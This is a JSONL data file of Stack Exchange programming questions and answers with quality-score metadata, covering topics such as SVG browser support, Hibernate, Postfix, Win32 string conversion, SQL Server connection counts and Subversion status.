{"id": "hf_f6e63b0a5e78", "question": "<p>What is the state of native SVG support in the most popular browsers in their latest releases?</p>\n\n<ul>\n<li>Internet explorer</li>\n<li>Firefox</li>\n<li>Opera</li>\n<li>Safari</li>\n<li>Chrome</li>\n<li>Konqueror</li>\n<li>Camino</li>\n</ul>\n", "question_body": "", "answer": "Opera has native\nSVG support\nFirefox has native\nSVG support\nInternet Explorer does NOT include\nSVG support\nnatively.\nSafari has native\nSVG support\nfor images and Fonts since version 3.1.\nCamino contains native\nSVG support\nas per its own documentation\nChrome uses an old version of Web Kit to support\nSVG natively\nKonqueror has SVG support via a plugin\nKSVG2\nFrom 2007 a\nhere\nis a list of the state of SVG support in many browsers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.012714"}
{"id": "hf_7781e40673e9", "question": "<p>What the best way to get up to speed on MathML and its usage in the world?</p>\n\n<p>In particular I mean:</p>\n\n<ul>\n<li>What do you use for rendering/editing it</li>\n<li>Is it used in any commercial/open source applications that you can point me to</li>\n<li>Is it popular and used a lot?</li>\n<li>Are there any viewers that can be used inside a C#, C++, Java, ... application?</li>\n<li>... (any other info available about MathML)</li>\n</ul>\n", "question_body": "", "answer": "The\nW3C's MathML homepage\nis of course a good place to start. They have a list of software using MathML. There are two portions to the MathML specification: the presentation set, which will tell a rendering engine how to typeset the equation (for instance, distinguishing between a stacked vs. beveled fraction), and the content set, which will tell calculation engines how to interpret the equation (is y(x) a function y of x or two variables being multiplied?). Most applications will focus on one subset of MathML or the other depending on the scope of the application.\nMathML is being used more and more widely and with good reason - MathML has all of the advantages of XML (for more information, see our white paper\nMathML is XML\n).\nDesign Science makes\nWebEQ\n, which includes components for editing and displaying MathML on your website. We also have an SDK version if you would like to include these components in a desktop application. WebEQ is Java based.\nHope this helps, but if you have more questions, feel free to email support@dessci.com.\nBest wishes,\nAutumn Cuellar, XML Specialist at Design Science", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.038391"}
{"id": "hf_8c55077f2e83", "question": "<p>MTOM is the W3C Message Transmission Optimization Mechanism, a method of efficiently sending binary data to and from web services.</p>\n\n<p>How does it work in general?</p>\n", "question_body": "", "answer": "If you put\nWireshark\n(or enabled\nSystem.Net Logging\n) on the non-MTOM enabled service, you should see the SOAP requests with the binary data encoded as BASE64. Sending it as BASE64 increases the size of the binary data but (I assume) makes it more interoperable.\nWith MTOM, the SOAP messages are sent as MIME messages with the BASE64 encoding being replaced with a placeholder. The binary data is then placed between delimiters (which happens for each piece of binary data), and then placed at the end of the SOAP request. The binary data is then sent unencoded. IIRC, MTOM also determines whether sending it as a MIME message will increase the size of the SOAP call and if doesn't provide a saving, it will send it as a normal SOAP message.\nThis\nprovides an example of what the message sent over the wire looks like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.076056"}
{"id": "hf_6a706d499f54", "question": "<p>Are there any other ways to avoid LazyInitializationExceptions in a Hibernate web application besides using the OpenSessionInView pattern? Are there any downsides to using OpenSessionInView?</p>\n", "question_body": "", "answer": "When working on our web applications, we usually decide beforehand which objects/fields will be needed in the view pages and make sure that all the objecs are properly initialized  from the model before dispatching to the view.\nThis can be accomplished in (at least) three ways:\nfetching\nproperties using eager strategy (i.e. with\n```\nFetchMode.JOIN\n```\n, if you're using the\nCriteria API\n)\nexplicitly initializing properties (i.e. with\n```\nHibernate.initialize(property)\n```\n)\nimplicitly initializing properties by calling the appropriate property accessor\nAbout the downsides of OpenSessionInView, have you checked out\nthis\npage?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.113719"}
{"id": "hf_5a556af343a6", "question": "<p>If you have something like:</p>\n\n<pre><code>val myStuff = Array(Person(\"joe\",40), Person(\"mary\", 35))\n</code></pre>\n\n<p>How do you create an XML value with that data as nodes? I know how to use { braces } in an XML expression to put a value, but this is a collection of values. Do I need to iterate explicitly or is there something better?</p>\n\n<pre><code>val myXml = &lt;people&gt;{ /* what here?! */ }&lt;/people&gt;\n</code></pre>\n\n<p>The resulting value should be something like:</p>\n\n<pre><code>&lt;people&gt;&lt;person&gt;&lt;name&gt;joe&lt;/name&gt;&lt;age&gt;40&lt;/age&gt;&lt;/person&gt;\n&lt;person&gt;&lt;name&gt;mary&lt;/name&gt;&lt;age&gt;39&lt;/age&gt;&lt;/person&gt;&lt;/people&gt;\n</code></pre>\n", "question_body": "", "answer": "As it's a functional programming language Array.map is probably what you're looking for:\n```\n```\nclass Person(name : String, age : Int){\n    def toXml() = <person><name>{ name }</name><age>{ age }</age></person>\n}\n\nobject xml {\n    val people = List(\n        new Person(\"Alice\", 16),\n        new Person(\"Bob\", 64)\n    )\n\n    val data = <people>{ people.map(p => p.toXml()) }</people>\n\n    def main(args : Array[String]){\n        println(data)\n    }\n}\n```\n```\nResults in:\n```\n```\n<people><person><name>Alice</name><age>16</age></person><person><name>Bob</name><age>64</age></person></people>\n```\n```\nA formatted result (for a better read):\n```\n```\n<people>\n   <person>\n      <name>Alice</name>\n      <age>16</age>\n   </person>\n   <person>\n      <name>Bob</name>\n      <age>64</age>\n   </person>\n</people>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.201774"}
{"id": "hf_da2998b922f5", "question": "<p>I've got an unmanaged Linux VPS running ubuntu that I'm using for the web server for a personal website.  I'd like to get a barebones email server up and running.  All the installation guides I've found so far are for a full-fledged email server with a webmail interface and everything.  That's a lot more than I need.  There's only two things I need:</p>\n\n<ul>\n<li>My web application needs to be able to send email.  Specifically, it'll be emailing me when an exception occurs.</li>\n<li>I want all email sent to [anything]@domain.com forwarded to my personal gmail account.  The server doesn't even need to retain the email or anything.</li>\n</ul>\n\n<p>I want to reserve resources for the actual web app, so I don't want to install anything I won't need for this.</p>\n", "question_body": "", "answer": "Your web application needs a SMTP server.  That server can be a hosted service like Google's or\nMailHop\n.  If you really want to be an email administrator postfix should be installed\nHOWTO is here\n.\nIf not:\n```\n```\nsudo apt-get install postfix\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.251799"}
{"id": "hf_e2c82a5d46a0", "question": "<p>When using XmlDocument.Load , I am finding that if the document refers to a DTD, a connection is made to the provided URI. Is there any way to prevent this from happening?</p>\n", "question_body": "", "answer": "Use an\n```\nXMLReader\n```\nto load the document and set the\n```\nValidationType\n```\nproperty of the reader settings to\n```\nNone\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.314102"}
{"id": "hf_427239d4f9e0", "question": "<p>I have an s-expression bound to a variable in Common Lisp:</p>\n\n<pre><code>(defvar x '(+ a 2))\n</code></pre>\n\n<p>Now I want to create a function that when called, evaluates the expression in the scope in which it was defined.  I've tried this:</p>\n\n<pre><code>(let ((a 4))\n  (lambda () (eval x)))\n</code></pre>\n\n<p>and</p>\n\n<pre><code>(let ((a 4))\n  (eval `(lambda () ,x)))\n</code></pre>\n\n<p>But both of these create a problem: EVAL will evaluate the code at the top level, so I can't capture variables contained in the expression.  Note that I cannot put the LET form in the EVAL.  Is there any solution?</p>\n\n<p>EDIT: So if there is not solution to the EVAL problem, how else can it be done?</p>\n\n<p>EDIT: There was a question about what exactly I am try to do.  I am writing a compiler.  I want to accept an s-expression with variables closed in the lexical environment where the expression is defined.  It may indeed be better to write it as a macro.</p>\n", "question_body": "", "answer": "CLISP implements an extension to evaluate a form in the lexical environment. From the fact that it is an extension, I suspect you can't do that in a standard-compliant way.\n```\n```\n(ext:eval-env x (ext:the-environment))\n```\n```\nSee\nhttp://clisp.cons.org/impnotes.html#eval-environ\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.337886"}
{"id": "hf_ecf9a4455fd8", "question": "<p>If I add an after_save callback to an ActiveRecord model, and on that callback I use update_attribute to change the object, the callback is called again, and so a 'stack overflow' occurs (hehe, couldn't resist).</p>\n\n<p>Is it possible to avoid this behavior, maybe disabling the callback during it's execution? Or is there another approach?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Check out how\nupdate_attribute\nis implemented.  Use the send method instead:\n```\n```\nsend(name.to_s + '=', value)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.362505"}
{"id": "hf_51e29f453403", "question": "<p>For performance reasons, I draw the strings for my UITableViewCell in a custom view that overrides its drawRect method to draw strings directly in the view rectangle using NSString:drawInRect. This is similar to Apple's TableViewSuite Example 5-CustomTableViewCell.</p>\n\n<p>However, when I invoke setEditing on the cell to bring up the delete button, the view ends up with a squeezed appearance after the animation completes. To demonstrate this, invoke setEditing:YES on the CustomTableViewCell example mentioned above and observe the distortion. Is there any way around this or should I just revert back to using UILabels for my text?</p>\n", "question_body": "", "answer": "I had this problem too, and in my case I fixed it by handling the 2 states in my drawRect method, one while editting, the other while not. In other words I accounted for the size of the delete button, and got my UI to repaint the cell differently. I'm not sure if it's the most efficient way to go, but here is the code that I used to force a repaint:\n```\n```\n-(void)_refreshTableAndCells{\n    //refresh the table\n    [myCustomTableView reloadData];\n    //refresh all the visible cells\n    for (UITableViewCell *cell in myCustomTableView.visibleCells){\n        LocationCellView *locationCell = [cell.contentView.subviews objectAtIndex:0];\n        [locationCell setNeedsDisplay];\n    }\n\n}\n```\n```\nI'm an Objective-C n00b though, so I'd be more than happy for someone to suggest a better way than this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.386910"}
{"id": "hf_06fa68bdbcc8", "question": "<p>I'm wondering if there's any way to have Firefox 3 (or IE 7 or safari 3.1 or Opera) flag that a redirect has occurred (i.e. any deltas between the hyperlink or URL entered into address bar, and the page you land on), whether you've arrived from a hyperlink or entering URL into address bar.</p>\n\n<p>I've googled some, looked at the <a href=\"https://addons.mozilla.org/en-US/firefox/addon/8092\" rel=\"nofollow noreferrer\">linker addon</a>, but the rightclick is an additional step I don't want to have to do.</p>\n\n<p>Edit: If anybody can point me at the mozilla docs that show how to track clicked links and pages landed on in different tabs, i'll take a crack at writing a bookmarklet.  TIA</p>\n", "question_body": "", "answer": "I don't think this will help, since you don't want to do the right click for the linker add-on, but if I needed to do know if I was being redirected, I would use the\nLiveHTTPHeaders\nextension.  It supports regular expressions, so you can only get headers that include 'Location'.\nThe reason I don't think it is what you are looking for is that you have to open it before the link, it won't \"flag\" a redirect and pop a message up or anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.466161"}
{"id": "hf_0c0561445bb9", "question": "<p>I'm writing an application that processes PowerPoint presentations and I'm looking into ways of detecting whether or not a PowerPoint presentation has a password if it does then stop processing it.</p>\n", "question_body": "", "answer": "It seems to me that there is\nno way to check\nif the presentation is password-protected. You have to open the document first to make properties accessible. You have to provide the password when you are opening the document.\nThere is a\nPassword Property\nyou can check.\nI've found a\nworkaround on Expert Exchange\n:\nThe problem is the following:\nVisual\n  Basic is a single threaded\n  application\n, this means that you cant\n  put a certain procedure on hold and\n  proceed with another (in the same\n  application). When powerpoint has an\n  \"on open\"-password set, the\n  CreateObject procedure inside your\n  application is put on hold untill\n  powerpoint releases it, this is when\n  the user types in a password. There is\n  no way around this that I know off,\n  but you can make a workaround:\nMake 2 applications\n, 1 application is\n  the application you already have, the\n  second one is a \"powerpoint unlocker\".\n  You run the second program just before\n  you open the protected powerpoint\n  presentation in application 1. You can\n  do that with the shell command. The\n  \"powerpoint unlocker\" can be as\n  advanced as you want it to be, you can\n  for example provide command line\n  parameters to specify which\n  presentation must be unlocked with\n  what password. Then you use the\nfindwindow api to get the window\n  handle of the locked presentation\n.\n  Once you have that, you\nuse the\n  sendmessage api\nto input the password.\n  After this the \"powerpoint unlocker\"\n  unloads and the first application can\n  resume with its excution.\nI hope this helps!\nOsmodean", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.503219"}
{"id": "hf_470204787122", "question": "<p>Does anyone know of any notepad++ plugin that saves a version of whatever I'm working on periodically? Ideally, it would save many versions with the automatic version number and the date in the title, and perhaps store them in a zipped archive to save space.</p>\n\n<p>Does something like this exist already, or shold I attempt to write such a plugin myself?</p>\n\n<p>Thanks,<br>\nCameron</p>\n\n<p>P.S. It should be freeware or (preferably) open-source.</p>\n", "question_body": "", "answer": "You might be better off looking into something closer to \"real\" version control -\nMercurial\n, perhaps. It doesn't require a server, and it's really easy to set up.\nTo automate it, you could turn on autosave in Notepad++, and set up a windows scheduled task to do an\n```\nhg commit\n```\nevery few minutes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.528130"}
{"id": "hf_f3c80748c6cb", "question": "<p>I am implementing a BFS, and what it is going to do is go through an ordered tree to find the shortest solution to a puzzle.</p>\n\n<p>What i will be doing is creating a Snapshot object that holds the current position of each piece in a puzzle. I will add this Snapshot object into the queue and check if it is the solution. However, I am creating these snapshots on the fly. So is there some kind of way that will automatically generate the names of the Snapshot objects when they are put into the queue?</p>\n\n<p>or do i have to keep track of how many declarations i have made and just hard code it by saying...</p>\n\n<p>Snapshot snapshot2;\nSnapshot snapshot3;\nSnapshot snapshot4;\netc..</p>\n", "question_body": "", "answer": "You could use a queue from the standard template library, then create a function that creates a Snapshot object and puts in into the queue.  Give this function a static variable which gets incremented every time it is called and written into an id field of the snapshot.\nhttp://www.csci.csusb.edu/dick/samples/stl.html\nhttp://www.cppreference.com/wiki/stl/queue/start", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.565359"}
{"id": "hf_f04d5d208dc3", "question": "<p>I've read the documentation on <a href=\"http://msdn.microsoft.com/en-us/library/ms776420(VS.85).aspx\" rel=\"noreferrer\">WideCharToMultiByte</a>, but I'm stuck on this parameter:</p>\n\n<pre><code>lpMultiByteStr\n[out] Pointer to a buffer that receives the converted string.\n</code></pre>\n\n<p>I'm not quite sure how to properly initialize the variable and feed it into the function</p>\n", "question_body": "", "answer": "You use the lpMultiByteStr [out] parameter by creating a new char array.  You then pass this char array in to get it filled.  You only need to initialize the length of the string + 1 so that you can have a null terminated string after the conversion.\nHere are a couple of useful helper functions for you, they show the usage of all parameters.\n```\n```\n#include <string>\n\nstd::string wstrtostr(const std::wstring &wstr)\n{\n    // Convert a Unicode string to an ASCII string\n    std::string strTo;\n    char *szTo = new char[wstr.length() + 1];\n    szTo[wstr.size()] = '\\0';\n    WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, szTo, (int)wstr.length(), NULL, NULL);\n    strTo = szTo;\n    delete[] szTo;\n    return strTo;\n}\n\nstd::wstring strtowstr(const std::string &str)\n{\n    // Convert an ASCII string to a Unicode String\n    std::wstring wstrTo;\n    wchar_t *wszTo = new wchar_t[str.length() + 1];\n    wszTo[str.size()] = L'\\0';\n    MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, wszTo, (int)str.length());\n    wstrTo = wszTo;\n    delete[] wszTo;\n    return wstrTo;\n}\n```\n```\n--\nAnytime in documentation when you see that it has a parameter which is a pointer to a type, and they tell you it is an out variable, you will want to create that type, and then pass in a pointer to it.  The function will use that pointer to fill your variable.\nSo you can understand this better:\n```\n```\n//pX is an out parameter, it fills your variable with 10.\nvoid fillXWith10(int *pX)\n{\n  *pX = 10;\n}\n\nint main(int argc, char ** argv)\n{\n  int X;\n  fillXWith10(&X);\n  return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.590591"}
{"id": "hf_4cdaba7ad4d5", "question": "<p>It seems <a href=\"http://openlaszlo.org/\" rel=\"nofollow noreferrer\">OpenLaszlo</a> can <a href=\"http://www.antunkarlovac.com/blog/2008/02/19/writing-an-openlaszlo-air-application/\" rel=\"nofollow noreferrer\">run on AIR</a>. What's less obvious is whether OpenLaszlo apps can use the AIR-specific APIs, like file system access. If so, how exactly is this done?</p>\n", "question_body": "", "answer": "While I don't have any specifics, the article you linked mentions that his application window can be dragged and closed. Those are AIR-only APIs (see the NativeWindow class), so presumably what you're asking about must be possible to some extent.\nHowever, my understanding is that OpenLaszlo tries not to implement things that can be done in Flash but not (say) DHTML, so it may be less obvious how to do things like local file access. Probably you'll want to download the source linked in the article and see how he implemented the window drag/close.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.615274"}
{"id": "hf_2eadee6dcbb3", "question": "<p>My PHP/MS Sql Server 2005/win 2003  Application occasionally becomes very unresponsive, the memory/cpu usage does not spike. If i try to open any new connection from sql management studio, then the it just hangs at the open connection dialog box. \nhow to deterime the total number of active connections ms sql server 2005</p>\n", "question_body": "", "answer": "This shows the number of connections per each DB:\n```\n```\nSELECT \n    DB_NAME(dbid) as DBName, \n    COUNT(dbid) as NumberOfConnections,\n    loginame as LoginName\nFROM\n    sys.sysprocesses\nWHERE \n    dbid > 0\nGROUP BY \n    dbid, loginame\n```\n```\nAnd this gives the total:\n```\n```\nSELECT \n    COUNT(dbid) as TotalConnections\nFROM\n    sys.sysprocesses\nWHERE \n    dbid > 0\n```\n```\nIf you need more detail, run:\n```\n```\nsp_who2 'Active'\n```\n```\nNote:\nThe SQL Server account used needs the 'sysadmin' role (otherwise it will just show a single row and a count of 1 as the result)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.676750"}
{"id": "hf_a4c0bd0ef729", "question": "<p>How hard would it be to use GCC instead of VC++ from within Visual Studio 2008? Obviously, some of the keywords won't match, and some may not get syntax highlighting (unless you made a new language service).</p>\n\n<p>Is this what a 'makefile project' is for, pretty much?</p>\n", "question_body": "", "answer": "There is no GCC plugin for Visual Studio as the one for example for Intel C++, which allows Intel's compiler to be used as a drop-in replacement for Visual C++.\nYou can use Makefile projects which allows you to use any external tool you like (make, SCons, jam, whatever) to do your build. If you don't like Makefiles, you may want to look at\nCMake\nwhich allows you to generate Makefiles or Visual Studio projects from a much simpler description. This also means that you're not bound to Makefiles or Visual Studio projects, but can switch between them as you like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.731888"}
{"id": "hf_3066e4f5ec78", "question": "<p>Is there a better way to do the following:</p>\n\n<pre><code>$array = array('test1', 'test2', 'test3', 'test4', 'test5');\n// do a bunch of other stuff, probably a loop\n$array[] = 'test6';\nend($array);\necho key($array); // gives me 6\n</code></pre>\n\n<p>This will give the key of the most recently add array element.</p>\n\n<p>Is there a better way to do this?</p>\n", "question_body": "", "answer": "You could also do:\n```\n```\n$end = end(array_keys($array));\n```\n```\nBut I think your way makes it clear what you want to do, so you could whip something up like:\n```\n```\nfunction array_last_key($array) {\n    end($array);\n    return key($array);\n}\n```\n```\nThat's about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.756940"}
{"id": "hf_c71029f1dd66", "question": "<p>Sometimes you're developing and you decide to commit, forgetting you created a few files on your project. Then a few days down the line your buddy gets your build out of Subversion and complains that some files appear to be missing. You realize, ah crap, I forgot to add those files!</p>\n\n<p>How can I get a list of the files that are not under version control from Subversion so I'm sure I've added everything to the repository?</p>\n", "question_body": "", "answer": "Use the\n```\nsvn status\n```\ncommand:\n```\n```\nsvn status | grep ^?\n```\n```\nFiles that are not versioned are indicated with a ? at the start of the line.\nIf you find that you always have some specific files that should not be added to the repository (for example, generated binaries), you should set up the\n```\nsvn:ignore\n```\nproperty on the containing directory so these files won't keep showing up when using\n```\nsvn status\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.806991"}
{"id": "hf_c5a1258f462e", "question": "<p>I haven't found an answer to this particular question; perhaps there isn't one. But I've been wondering for a while about it.</p>\n\n<p>What exactly causes a binary file to display as \"gibberish\" when you look at it in a text editor? It's the same thing with encrypted files. Are the binary values of the file trying to be converted into ASCII? Is it possible to convert the view to display raw binary values, i.e. to show the 1s and 0s that make up the file?</p>\n\n<p>Finally, is there a way to determine what program will properly open a data file? Many times, especially with Windows, a file is orphaned or otherwise not associated w/ a particular program. Opening it in a text editor sometimes tells you where it belongs but most of the time doesn't, due to the gibberish. If the extension doesn't provide any information, how can you determine what program it belongs to?</p>\n", "question_body": "", "answer": "The display looks interesting, because a binary file can contain non-printable characters. It is up to the displaying program to replace such characters with something else.\nThis can be prevented by using a hex editor. Such a program displays each byte from the file as its hexadecimal value. That makes for a nice tabular view of the file, but it is not easy for the average person to decipher this view, because we are not used to look at data that way.\nThere are a few ways to find out what program a file might belong to. You can look at the beginning of the file and with some knowledge, you might recognize the file type. There are some types that begin with the same characters (RAR, GIF etc.). For other types it might not be as easy.\nIn Linux you can use the \"file\" command to help you determine file type. There are probably programs for Windows that will do the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.832018"}
{"id": "hf_18bb68e52cd8", "question": "<p>I am parsing an input text file.  If I grab the input one line at a time using getline(), is there a way that I can search through the string to get an integer?  I was thinking something similar to getNextInt() in Java. </p>\n\n<p>I know there has to be 2 numbers in that input line; however, these values will be separated by one or more white space characters, so I can't just go to a specific position.</p>\n", "question_body": "", "answer": "If the only thing in there is whitespace and integers, just try something like this:\n```\n```\nint i1, i2;\nstringstream ss(lineFromGetLine);\nss >> i1 >> i2;\n```\n```\nor easier:\n```\n```\nint i1, i2;\ntheFileStream >> i1 >> i2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.856627"}
{"id": "hf_4ae19c3b11dd", "question": "<p>Is it possible to scale a UIView down to 0 (width and height is 0) using CGAffineTransformMakeScale?</p>\n<p>view.transform = CGAffineTransformMakeScale(0.0f, 0.0f);</p>\n<p>Why would this throw an error of &quot;<code>&lt;Error&gt;: CGAffineTransformInvert: singular matrix.</code>&quot; ?</p>\n<br />\n<br />\n<p><em>Update:\nThere is another way of scaling down a UIView to 0</em></p>\n<pre><code>[UIView beginAnimations:nil context:nil]; \n[UIView setAnimationDuration:0.3]; \nview.frame = CGRectMake(view.center.x, view.center.y, 0, 0);\n\n[UIView commitAnimations];\n</code></pre>\n", "question_body": "", "answer": "I'm not sure it's possible to do this; you'll start running into divide-by-zero issues. If you try to do this, you'll be creating a transform that looks like:\n```\n```\n0  0  0\n   0  0  0\n   0  0  1\n```\n```\nWhich, when applied to ANY other transform, will produce the above transform.\nWhy not just hide the view (if you want to scale it out of sight) or set the scaling factor to something like 0.001 (if you want to scale it in)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.893342"}
{"id": "hf_d46e8718945c", "question": "<p>Looking for code samples to access a memory map file in C#</p>\n", "question_body": "", "answer": "You can take a look at\nthis CodeProject article\nwhich shows a simple array over MMF implementation using\nWinterdom's FileMap library\n- basically a wrapper around the Win32 APIs for memory mapped files.\nCaveat emptor: 1) I have not used FileMap, so I can't vouch for it; 2) FileMap is under LGPL, if the licensing terms are of any concer of you.\nYou can also search on\nhttp://pinvoke.net\nfor the P/Invoke definitions of the corresponding Win32 APIs and roll your own implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.921316"}
{"id": "hf_e439a0a3c6ba", "question": "<p>Does anyone know of any good tools to view the store name, store location, or values of an X.509 Certificate?</p>\n", "question_body": "", "answer": "i'm supposing that you are using Windows. So here it is\nhttp://msdn.microsoft.com/en-us/library/aa529278.aspx\n. It's a good tool, but to do it thru API is not hard and it's a good exercise to learn the API.\nRegards,\nVictor", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:22.996560"}
{"id": "hf_205430bff83d", "question": "<p>Are any of you aware of a library that helps you build/manipulate SQL queries, that supports JOIN's?</p>\n\n<p>It would give a lot of flexibility i'd think if you have something where you could return an object, that has some query set, and still be able to apply JOIN's to it, subqueries and such.</p>\n\n<p>I've search around, and have only found SQL Builder, which seems very basic, and doesn't support joins. Which would be a major feature that would really make it useful.</p>\n", "question_body": "", "answer": "Maybe you can try an\nORM\n, like\nPropel\nor\nDoctrine\n, they have a nice programmatic query language, and they return you arrays of objects that represent rows in your database...\nFor example with Doctrine you can do joins like this:\n```\n```\n$q = Doctrine_Query::create();\n$q->from('User u')\n->leftJoin('u.Group g')\n->innerJoin('u.Phonenumber p WITH u.id > 3')\n->leftJoin('u.Email e');\n\n$users = $q->execute();\n```\n```\nAnd with Propel:\n```\n```\n$c = new Criteria(AuthorPeer::DATABASE_NAME);\n\n$c->addJoin(AuthorPeer::ID, BookPeer::AUTHOR_ID, Criteria::INNER_JOIN);\n$c->addJoin(BookPeer::PUBLISHER_ID, PublisherPeer::ID, Criteria::INNER_JOIN);\n$c->add(PublisherPeer::NAME, 'Some Name');\n\n$authors = AuthorPeer::doSelect($c);\n```\n```\nand you can do a lot more with both...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:23.058000"}
